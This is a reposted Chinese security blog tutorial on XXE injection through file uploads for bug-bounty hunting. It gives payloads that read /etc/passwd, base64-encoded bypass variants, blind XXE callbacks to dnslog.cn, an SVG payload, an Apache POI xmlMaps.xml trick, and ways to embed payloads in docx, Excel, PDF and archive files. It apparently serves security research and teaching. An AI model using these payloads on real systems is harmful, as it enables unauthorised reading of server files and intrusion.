XXE 在文件上传当中的应用

admin 2025年1月19日17:52:24评论7 views字数 2090阅读6分58秒阅读模式

扫码加圈子

获内部资料

XXE 在文件上传当中的应用
XXE 在文件上传当中的应用

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

原文链接:https://xz.aliyun.com/t/17026

作者:1782775301243752

XXE 在文件上传当中的应用
0x1 前言

当前文章所介绍的仅仅是用于SRC当中的技巧,所以不会更深层次的利用。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。

XXE 在文件上传当中的应用
0x2 有回显的XXE漏洞

尝试读取 /etc/passwd文件。

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY testSYSTEM'file:///etc/passwd'>]><root>&test;</root>

尝试使用base64绕过

<!DOCTYPE test [ <!ENTITY % initSYSTEM"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XXE 在文件上传当中的应用
0x3 无回显的XXE漏洞
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % extSYSTEM"http://dnslog.cn"> %ext;]><r></r>
<!DOCTYPE root [<!ENTITY testSYSTEM'http://dnslog.cn'>]><root>&test;</root>

尝试使用base64绕过

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % extSYSTEM"data://text/plain;base64,aHR0cDovL2Ruc2xvZy5jbg=="> %ext;]><r></r>
XXE 在文件上传当中的应用
0x4 文件上传的XXE

SVG 格式当中的XXE

在实际的src挖掘当中,svg格式上传的地方不是很多,通常来说当有svg上传的地方一般首先会尝试XSS。

payload

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxeSYSTEM"http://dnslog.cn" > ]><svgwidth="128px"height="128px"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"version="1.1"><textfont-size="16"x="0"y="16">&xxe;</text></svg>

docx 格式当中的XXE

这是一个word文档解压后的内容

XXE 在文件上传当中的应用

最简单粗暴的方式,使用工具:whitel1st/docem: A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids)生成docx的payload,该工具会在每一个xml文件当中插入指定的payload。

Excel格式当中的XXE

但是为什么我们的XML会被解析?

  • apache poi (Apache POI详解及Word文档读取示例-阿里云开发者社区)

  • 开发者自己写的office文档解析代码

  • ..........

对于前者来说,存在两个漏洞CVE-2019-12415CVE-2014-3529

如果是CVE-2014-3529,那么我们直接使用docem工具进行生成payload就可以利用,具体原理不多叙述。

如果是CVE-2019-12415,那么情况就有所变化,下载excel文件,编辑xmlMaps.xml(路径在下面)

XXE 在文件上传当中的应用

文件当中放入次代码

<xsd:redefineschemaLocation="http://dnslog.cn/"></xsd:redefine>

也是能够成功访问dnslog地址的(这个洞有点弱,只能访问dnslog)

Pdf 格式当中的XXE

先来抓个包

XXE 在文件上传当中的应用
XXE 在文件上传当中的应用
可以看到某个pdf文件当中还是有一些xml标签的,我们插入无回显的payload可以尝试一下。

压缩文件当中的XXE

注意压缩文件当中必须要有xml文件!!!压缩后,在burp当中进行抓包,修改插入payload。

更多文件的XXE

XXE 在文件上传当中的应用
XXE 在文件上传当中的应用
0x5 总结

多关注一下文件上传的功能点,只要出现了xml标签,就尝试插入XXE

参考如下

blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

https://www.youtube.com/watch?v=aSiIHKeN3ys

原文始发于微信公众号(神农Sec):XXE 在文件上传当中的应用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月19日17:52:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE 在文件上传当中的应用https://cn-sec.com/archives/3646167.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息